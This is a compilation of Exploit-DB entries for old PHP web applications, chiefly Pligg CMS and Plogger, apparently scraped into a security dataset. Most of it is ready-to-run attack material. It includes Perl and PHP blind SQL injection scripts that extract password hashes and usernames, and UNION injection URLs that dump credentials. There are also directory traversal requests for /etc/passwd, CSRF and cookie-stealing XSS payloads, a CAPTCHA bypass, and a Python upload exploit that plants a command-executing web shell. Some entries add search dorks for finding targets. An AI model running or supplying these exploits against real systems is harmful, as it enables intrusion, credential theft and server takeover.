deardaniel/secdata-raw huggingface dataset:
Exploit-DB #38578
Description: Pligg CMS 2.0.2 - Directory Traversal
Type: webapps
Platform: php
Date: 2015-10-30
Author: Curesec Research Team

Exploit:
Security Advisory - Curesec Research Team

1. Introduction

Affected Product:    Pligg CMS 2.0.2
Fixed in:            not fixed
Fixed Version Link:  n/a
Vendor Website:      http://pligg.com/
Vulnerability Type:  Directory Traversal
Remote Exploitable:  Yes
Reported to vendor:  09/01/2015
Disclosed to public: 10/07/2015
Release mode:        Full Disclosure
CVE:                 n/a
Credits              Tim Coen of Curesec GmbH

2. Vulnerability Description

The editor delivered with Pligg CMS is vulnerable to directory traversal, which
gives an attacker that obtained admin credentials the opportunity to view any
file stored on the webserver that the webserver user has access to.

Please note that admin credentials are required.

3. Proof of Concept


POST /pligg-cms-master/admin/admin_editor.php HTTP/1.1

the_file=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&open=Open

4. Solution

This issue was not fixed by the vendor.

5. Report Timeline

09/01/2015 Informed Vendor about Issue (no reply)
09/22/2015 Reminded Vendor of disclosure date
09/22/2015 Vendor replied, issue has been send to staff
09/29/2015 Reminded Vendor of disclosure date (no reply)
10/07/2015 Disclosed to public


Blog Reference:
http://blog.curesec.com/article/blog/Pligg-CMS-202-Directory-Traversal-81.html
Exploit-DB #30088
Description: Pligg CMS 9.5 - Reset Forgotten Password Security Bypass
Type: webapps
Platform: php
Date: 2007-05-25
Author: 242th section

Exploit:
source: https://www.securityfocus.com/bid/24158/info

Pligg is prone to a security-bypass vulnerability due to a design error when resetting forgotten passwords.

An attacker may exploit this issue to reset account passwords for arbitrary users and then compromise a vulnerable application. This can also aid the attacker in further attacks.

Pligg 9.5 is reported vulnerable; other versions may also be affected. 

http://www.example.com/login.php?processlogin=4&username=admin&confirmationcode=[PII_REDACTED]e2f566cbda0a9c855240bf21b8bae030404cad7
Exploit-DB #8488
Description: Pligg CMS 9.9.0 - 'editlink.php' Blind SQL Injection
Type: webapps
Platform: php
Date: 2009-04-20
Author: Rohit Bansal

Exploit:
#!/usr/bin/perl

######################################################################################
# Pligg v9.9 Blind SQL Injection
#####################################
#
# vuln:
#   editlink.php? SQL Injection:
#   (magic_quotes off)
#
#   This exploit is possible because the $id variable in check_url.php is taken
#   from the url and then used in an SQL query without being sanitized.
#
#####################################
#
#  by Rohit Bansal [rohitisback@gmail.com] www.Schap.Org
#  original advisory: http://www.milw0rm.com/exploits/5406 (Guido Landi)
#
######################################################################################


 use LWP::UserAgent;
 use HTTP::Request;
 use HTTP::Cookies;

@chars = split(//, "[PII_REDACTED]abcdef");
                                                         ####### CHANGE THESE ########
my $url = "http://victim.compath-to-pligg/";                      # site and path to pligg
my $mylink = 1;                                             # link the user posted
my $username = "user";                                      # username to log in with
my $[CREDENTIAL_REDACTED]";                                  # password to log in with

my $hash;
my $content;

print "\nPligg CMS v9.9 editlink.php Blind SQL Injection\n\n";

print "+ Logging in to $url\n";
print "+ Extracting hash...\n";

$b = LWP::UserAgent->new() or die;
$b->agent('Mozilla');
$cj = HTTP::Cookies->new;
$b->cookie_jar($cj);

$req = HTTP::Request->new(POST=>$url."login.php");
$req->content_type('application/x-www-form-urlencoded');
$req->content("username=$username&[CREDENTIAL_REDACTED]=1");
$res = $b->request($req);
$cj->extract_cookies($res);

print "User god hash: ";

for($i = 0;$i < 50; $i++)
{
   for($j = 0; $j < 16; $j++)
   {
       $craft  = "editlink.php?id=(select(if((select%20substr(user_pass,$i,1)%20from%20pligg_users%20where%20";
       $craft .= "user_id=1)=\'" . $chars[$j] . "\'," . $mylink . ",-999)))";
       $req = HTTP::Request->new(GET=>$url.$craft);
       $req->content_type('application/x-www-form-urlencoded');
       $res = $b->request($req);

       $content = $res->content;     
     
      if(!($content =~ /not your link/i))
      {
     print $chars[$j];
         $hash .= $chars[$j];
      }
   }
}

print "\n";

# milw0rm.com [2009-04-20]
Exploit-DB #5406
Description: Pligg CMS 9.9.0 - 'editlink.php' SQL Injection
Type: webapps
Platform: php
Date: 2008-04-08
Author: Guido Landi

Exploit:
Hello,

the Pligg (http://www.pligg.com/) content management system is prone to 
an SQL-injection vulnerability because it fails to sufficiently sanitize 
user-supplied data before using it in an SQL query:


editlink.php?id=1+AND+((SELECT+user_pass+FROM+pligg_users+WHERE+user_login=0x676f64)+LIKE+0x25)+UNION+SELECT+10,2

To exploit this you need the id of a news you submitted(10 in the 
example) and an id of a news submitted by others(1 in the example).

When the LIKE statement matches you get a "Not your link" error.


Guido Landi

# milw0rm.com [2008-04-08]
Exploit-DB #6146
Description: Pligg CMS 9.9.0 - 'story.php' SQL Injection
Type: webapps
Platform: php
Date: 2008-07-28
Author: Hussin X

Exploit:
|___________________________________________________|
|
|    Pligg Beta 9.9.0 (id) Remote SQL Injection Vulnerability
|
|___________________________________________________
|---------------------Hussin X----------------------|
|
|    Author: Hussin X
|
|    Home :  www.tryag.cc/cc
|
|    email:  darkangel_g85[at]Yahoo[DoT]com
|
|
|___________________________________________________
|                                                   |
|
|
| script : http://www.pligg.com/
|
| DorK   : Powered By Pligg | Legal: License and Source
|
| version :  9.9.0 
|___________________________________________________|



Exploit:  


USER :

www.[target].com/Script/story.php?id=-4+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,user_login,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35+from+pligg_users--


PASSWORD :

story.php?id=-4+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,user_pass,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35+from+pligg_users--


EMAIL :

www.[target].com/Script/story.php?id=-4+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,user_email,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35+from+pligg_users--

 



L!VE DEMO: :

USER :

http://www.pligg.com/demo01/story.php?id=-4+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,user_login,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35+from+pligg_users--

PASSWORD :

http://www.pligg.com/demo01/story.php?id=-4+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,user_pass,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35+from+pligg_users--







____________________________( Greetz )____________________________
|
| tryag.cc | DeViL iRaQ | IRAQ DiveR | IRAQ_JAGUR | str0ke
|   
| Iraqihack | FAHD | mos_chori | Silic0n 
|
|_________________________________________________________________


                       Im IRAQi

# milw0rm.com [2008-07-28]
Exploit-DB #32142
Description: Pligg CMS 9.9.5 - 'CAPTCHA' Registration Automation Security Bypass
Type: webapps
Platform: php
Date: 2008-08-02
Author: Micheal Brooks

Exploit:
source: https://www.securityfocus.com/bid/30518/info

Pligg is prone to a security-bypass weakness.

Successfully exploiting this issue will allow an attacker to register multiple new users through an automated process. This may lead to other attacks.

Pligg 9.9.5 is vulnerable; other versions may also be affected.

<?php

$sitekey=82397834;

$ts_random=$_REQUEST[&#039;ts_random&#039;];

$datekey = date(�F j�);

$rcode = hexdec(md5($_SERVER[&#039;HTTP_USER_AGENT&#039;] . $sitekey . $ts_random . $datekey));

print substr($rcode, 2, 6);

?>
Exploit-DB #7922
Description: Pligg CMS 9.9.5 - Cross-Site Request Forgery / Protection Bypass / Captcha Bypass
Type: webapps
Platform: php
Date: 2009-01-29
Author: Michael Brooks

Exploit:
Written By Michael Brooks
Special thanks to str0ke!

Pligg - XSRF Protection Bypass and Captcha Bypass
affects 9.9.5

XSRF Protection Bypass
<html>
<!--
Remove this iframe from this file and place it on a site that you want
to force people to vote for.
Change these pligg_story_to_vote_for, target_pligg_site and site_you_control .
-->
<iframe src='http://target_pligg_site/index.php?category="><script
src=http://site_you_control/pligg_auto_voter.html
type=text/javascript></script>' width="0%" height="0%"></iframe>
</html>

	var pligg_story_to_vote_for="/story.php?title=pligg_xss";
	
	function r(){
		var Z=false;
		if(window.XMLHttpRequest){
			try{
				Z=new XMLHttpRequest()
			}catch(e){Z=false}
		}else if(window.ActiveXObject){
			try{
				Z=new ActiveXObject('Msxml2.XMLHTTP')
			}catch(e){
				try{
					Z=new ActiveXObject('Microsoft.XMLHTTP')
				}catch(e){Z=false}
			}
		}
		return Z
	}
	var x=r();
	x.open("GET",pligg_story_to_vote_for,true);
	x.onreadystatechange = function() {
		if (x.readyState == 4) {
			var v=x.responseText.split("javascript:vote(");
			v=v[1].split(")");
			v=v[0].split(",");
			var p="id="+v[1]+"&user="+v[0]+"&md5="+v[3].substring(1,33)+"&value="+v[4];
			var y=r();
			y.open("POST","/vote.php",true);
			y.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
			y.setRequestHeader("Content-length", p.length);
			y.setRequestHeader("Connection", "close");
			y.send(p);
		}
	}
	x.send('');

Captcha bypass.
The link to the capthca image will look something like this:

http://127.0.0.1/Pligg_Beta_9.9.0/ts_image.php?ts_random=54771854

To obtain the clear text, send that ts_random value to the
captcha_bypass.php with the same web browser:


http://127.0.0.1/captcha_bypass.php?ts_random=54771854

captcha_bypass.php:

<?php

$sitekey=82397834;

$ts_random=$_REQUEST['ts_random'];

$datekey = date("F j");

$rcode = hexdec(md5($_SERVER['HTTP_USER_AGENT'] . $sitekey .
$ts_random . $datekey));

print substr($rcode, 2, 6);

?>

# milw0rm.com [2009-01-29]
Exploit-DB #6449
Description: pLink 2.07 - 'linkto.php' Blind SQL Injection
Type: webapps
Platform: php
Date: 2008-09-13
Author: Stack

Exploit:
<?php
ini_set("max_execution_time",0);
print_r('
###############################################################
#
#             pLink 2.07 - Blind SQL Injection Exploit    
#                                                            
#      Vulnerability discovered by: Stack      
#      Exploit coded by:            Stack
#      Greetz to:                   All My Freind
#
###############################################################
#                                                            
#      Dork:        intext:"pLink 2.07"
#      Admin Panel: [Target]/link/
#      Usage:       php '.$argv[0].' [Target] [Userid]
#      Example for http://www.site.com/link/linkto.php?id=[Real id] 2
#      => php '.$argv[0].' http://www.site.com/link/linkto.php?id=128 2
#  Live Demo :
#   http://www.uni-leipzig.de/fsrpowi/link/linkto.php?id=128 2
#                                                            
###############################################################
');
if ($argc > 1) {
$url = $argv[1];
if ($argc < 3) {
$userid = 1;
} else {
$userid = $argv[2];
}
$r = strlen(file_get_contents($url."+and+1=1/*"));
echo "\nExploiting:\n";
$w = strlen(file_get_contents($url."+and+1=0/*"));
$t = abs((100-($w/$r*100)));
echo "Password: ";
for ($j = 1; $j <= 32; $j++) {
   for ($i = 46; $i <= 102; $i=$i+2) {
      if ($i == 60) {
         $i = 98;
      }
      $laenge = strlen(file_get_contents($url."+and+ascii(substring((select+pwd+from+pl_user+where+id=".$userid."+limit+0,1),".$j.",1))%3E".$i."/*"));
      if (abs((100-($laenge/$r*100))) > $t-1) {
         $laenge = strlen(file_get_contents($url."+and+ascii(substring((select+pwd+from+pl_user+where+id=".$userid."+limit+0,1),".$j.",1))%3E".($i-1)."/*"));
         if (abs((100-($laenge/$r*100))) > $t-1) {
            echo chr($i-1);
         } else {
            echo chr($i);
         }
         $i = 102;
      }
   }
}
echo "\nUsername: ";
for ($i=1; $i <= 30; $i++) {
$laenge = strlen(file_get_contents($url."+and+ascii(substring((select+username+from+pl_user+where+id=".$userid."+limit+0,1),".$i.",1))!=0/*"));
   if (abs((100-($laenge/$r*100))) > $t-1) {
      $count = $i;
      $i = 30;
   }
}
for ($j = 1; $j < $count; $j++) {
   for ($i = 46; $i <= 122; $i=$i+2) {
      if ($i == 60) {
         $i = 98;
      }
      $laenge = strlen(file_get_contents($url."+and+ascii(substring((select+username+from+pl_user+where+id=".$userid."+limit+0,1),".$j.",1))%3E".$i."/*"));
      if (abs((100-($laenge/$r*100))) > $t-1) {
         $laenge = strlen(file_get_contents($url."+and+ascii(substring((select+username+from+pl_user+where+id=".$userid."+limit+0,1),".$j.",1))%3E".($i-1)."/*"));
         if (abs((100-($laenge/$r*100))) > $t-1) {
            echo chr($i-1);
         } else {
            echo chr($i);
         }
         $i = 122;
      }
   }
}
} else {
echo "\nExploiting failed: By Stack\n";
}
?>

# milw0rm.com [2008-09-13]
Exploit-DB #5724
Description: PLog 1.0.6 - 'albumID' SQL Injection
Type: webapps
Platform: php
Date: 2008-06-02
Author: DreamTurk

Exploit:
pLog (albumId) Remote Sql Ä°nj.

DreamTurk / dream@dr3amturk.org

Down : http://sourceforge.net/project/showfiles.php?group_id=83964&package_id=86556

http://localhost/index.php?op=ViewAlbum&albumId=-1/**/union/**/select/**/0,1,user,password,4,5,6,7,8 from plog_users/*&blogId=1

4ever sqL L0v3r'Z Crew 2008 http://coderx.org

Greatz : Cr@zy_King & BLasTer & DarKxBoyZ & Rmx & TR_ip & str0ke

----------- 

# milw0rm.com [2008-06-02]
Exploit-DB #14636
Description: Plogger - Remote File Disclosure
Type: webapps
Platform: php
Date: 2010-08-13
Author: Mr.tro0oqy

Exploit:
# Plogger Remote File Disclosure Vulnerability
# http://www.plogger.org/
# dork : Powered by Plogger!
# author: Mr.tro0oqy (yemeni hacker) 
# email : t.4@windowslive.com

exp : 

Line 117:   if ($fp_source = @fopen($_GET['src'],'rb'))

www.server.com/path/plog-includes/lib/phpthumb/phpThumb.php?src=../../../../../../../../etc/passwd%00

Line 41: 	$_GET['w'] = $matches[1];
Line 42: 	$_GET['h'] = $matches[2];

www.server.com/path/plog-includes/lib/phpthumb/phpThumb.php?w=../../../../../../../../../etc/passwd%00

www.server.com/path/plog-includes/lib/phpthumb/phpThumb.php?h=../../../../../../../../../etc/passwd%00


greetz : all muslems (ramadan kreem)
Exploit-DB #31426
Description: Plogger 1.0 (RC1) - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2014-02-05
Author: killall-9

Exploit:
# Exploit Title: Multiply vulnerabilites in plogger 1.0 (RC1)
# Date: 03/02/2014
# Exploit Author: killall-9@mail.com
# Vendor Homepage: http://www.plogger.org/
# Software Link: http://www.plogger.org/download/
# Version: 1.0 (RC1)
# Tested on: Virtualbox (debian) and Apache
REFLECTED XSS:

1) http://localhost/plogger-1.0RC1/?jump-menu=%22%20onmouseover%3dprompt%281337%29%20bad%3d%22
2) http://localhost/plogger-1.0RC1/plog-admin/index.php?loginerror&r=%22%20onmouseover%3dprompt%281337%29%20bad%3d%22

------------------------------------------------------

STORED XSS: (must be logged in)

1)

POST /plogger-1.0RC1/plog-admin/plog-manage.php?level=albums&id=1 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux i686 on x86_64; rv:26.0) Gecko/20100101 Firefox/26.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://localhost/plogger-1.0RC1/plog-admin/plog-manage.php?action=edit-album&id=1
Cookie: PHPSESSID=sjjl1sqlt8ceuo5upt6p9jfsf1
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 150

name=Plogger%2BTest%2BAlbum&description=%3Cscript%3Ealert%28%22css+here%22%29%3B%3C%2Fscript%3E&thumbnail_id=4&pid=1&action=update-album&update=Update

(In the description field it's possible to store javascript code)

------------------------------------------------------

CSRF:

1)

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'>
<html lang="en">
<head>
<title>Pinata-CSRF-Tool</title>
</head>
<body>
<form action="http://localhost/plogger-1.0RC1/plog-admin/plog-manage.php?level=albums&id=1" id="formid" method="post">
<input name="name" value="Plogger+Test+Album" />
<input name="description" value="Feel+free+to+ownz+it+" />
<input name="thumbnail_id" value="0" />
<input name="pid" value="1" />
<input name="action" value="update-album" />
<input name="update" value="Update" />
</form>
<script>
document.getElementById('formid').submit();
</script>
</body>
</html>

chherZ.
Exploit-DB #35610
Description: Plogger 1.0 RC1 - 'gallery_name' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-04-12
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/47329/info

Plogger is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Plogger 1.0 Rc1 is vulnerable; other versions may also be affected. 

<form action="http://host/plog-admin/plog-options.php" method="post">
<input type="hidden" name="gallery_name" value='my gallery"><script>alert(document.cookie)</script>'>
<input type="hidden" name="gallery_url" value="http://host/">
<input type="hidden" name="admin_username" value="Ildar">
<input type="hidden" name="admin_email" value="valeevildar@ya.ru">
<input type="hidden" name="admin_password" value="">
<input type="hidden" name="confirm_admin_password" value="">
<input type="submit" id="btn" name="submit" value="Update Options">

</form>
<script>
document.getElementById('btn').click();
</script>
Exploit-DB #34447
Description: Plogger 1.0-RC1 - (Authenticated) Arbitrary File Upload
Type: webapps
Platform: php
Date: 2014-08-28
Author: b0z

Exploit:
#!/usr/bin/env python


# Exploit Title: Plogger Authenticated Arbitrary File Upload
# Date: Feb 2014
# Exploit Author: b0z
# Vendor Homepage: www.plogger.org
# Software Link: www.plogger.org/download
# Version: Plogger prior to 1.0-RC1
# CVE : 2014-2223

import hashlib
import os
import zipfile

import requests
import time
import argparse



def login(session,host,username,password):
    print "[+] Log in"

    session.post('http://%s/plog-admin/plog-upload.php' % host, data={
        "plog_username": username,
        "plog_password": password,
        "action": "log_in"
    })

def upload(session):
    print "[+] Creating poisoned gift"
    ## Write the backdoor
    backdoor = open(magic + '.php', 'w+', buffering = 0)
    backdoor.write("<?php system($_GET['cmd']) ?>")
    backdoor.close

    # Add true image file to block the race condition (mandatory not null)
    image = open(magic + '.png', 'w+', buffering = 0)
    image.write('A')
    image.close

    gift = zipfile.ZipFile(magic + '.zip', mode = 'w')
    gift.write(magic + '.php')
    gift.write(magic + '.png')
    gift.close

    os.remove(magic + '.php')
    os.remove(magic + '.png')

    gift = open(magic + '.zip', 'rb')
    files= { "userfile": ("archive.zip", gift)}
    session.post('http://%s/plog-admin/plog-upload.php' % host, files=files,
        data = {
            "destination_radio":"existing",
            "albums_menu" : "1",
            "new_album_name":"",
            "collections_menu":"1",
            "upload":"Upload"
    })

    os.remove(magic + '.zip')
    print '[+] Here we go ==> http://%s/plog-content/uploads/archive/%s.php' % (host,magic)

if __name__== "__main__":

    parser = argparse.ArgumentParser()
    parser.add_argument("--host"        , help="Remote host",required=True)
    parser.add_argument("--user"        , help="Username",required=True)
    parser.add_argument("--password"    , help="Password",required=True)
    args = parser.parse_args()

    host     = args.host
    username = args.user
    password = args.user

    magic = hashlib.sha1(time.asctime()).hexdigest()

    session = requests.session()
    login(session,host,username,password)
    upload(session)
Exploit-DB #26794
Description: Plogger Beta 2 - 'index.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2005-12-13
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/15839/info
 
Plogger is prone to multiple input validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
 
Successful exploitation of these vulnerabilities could result in a compromise of the application, disclosure or modification of data, the theft of cookie-based authentication credentials or may permit an attacker to exploit vulnerabilities in the underlying database implementation as well as other attacks. 

http://www.example.com/index.php?level=%22%3E%3Cscript%3Ealert('r0t')%3C/script%3E

http://www.example.com/index.php?level=search&searchterms=%22%3E%3Cscript%3Ealert('r0t')%3C/script%3E
Exploit-DB #26793
Description: Plogger Beta 2 - 'index.php?id' SQL Injection
Type: webapps
Platform: php
Date: 2005-12-13
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/15839/info

Plogger is prone to multiple input validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

Successful exploitation of these vulnerabilities could result in a compromise of the application, disclosure or modification of data, the theft of cookie-based authentication credentials or may permit an attacker to exploit vulnerabilities in the underlying database implementation as well as other attacks. 

http://www.example.com/index.php?sortdir=ASC&level=album&id=[SQL]
Exploit-DB #26918
Description: Plogger Beta 2 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2005-12-20
Author: Security .Net Information

Exploit:
source: https://www.securityfocus.com/bid/15992/info

Plogger is prone to a remote file include vulnerability.

An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the Web server process. This may facilitate a compromise of the application and the underlying system; other attacks are also possible. 

http://www.example.com/PATH/admin/plog-admin-functions.php?config[basedir]=http://www.example.com/[code]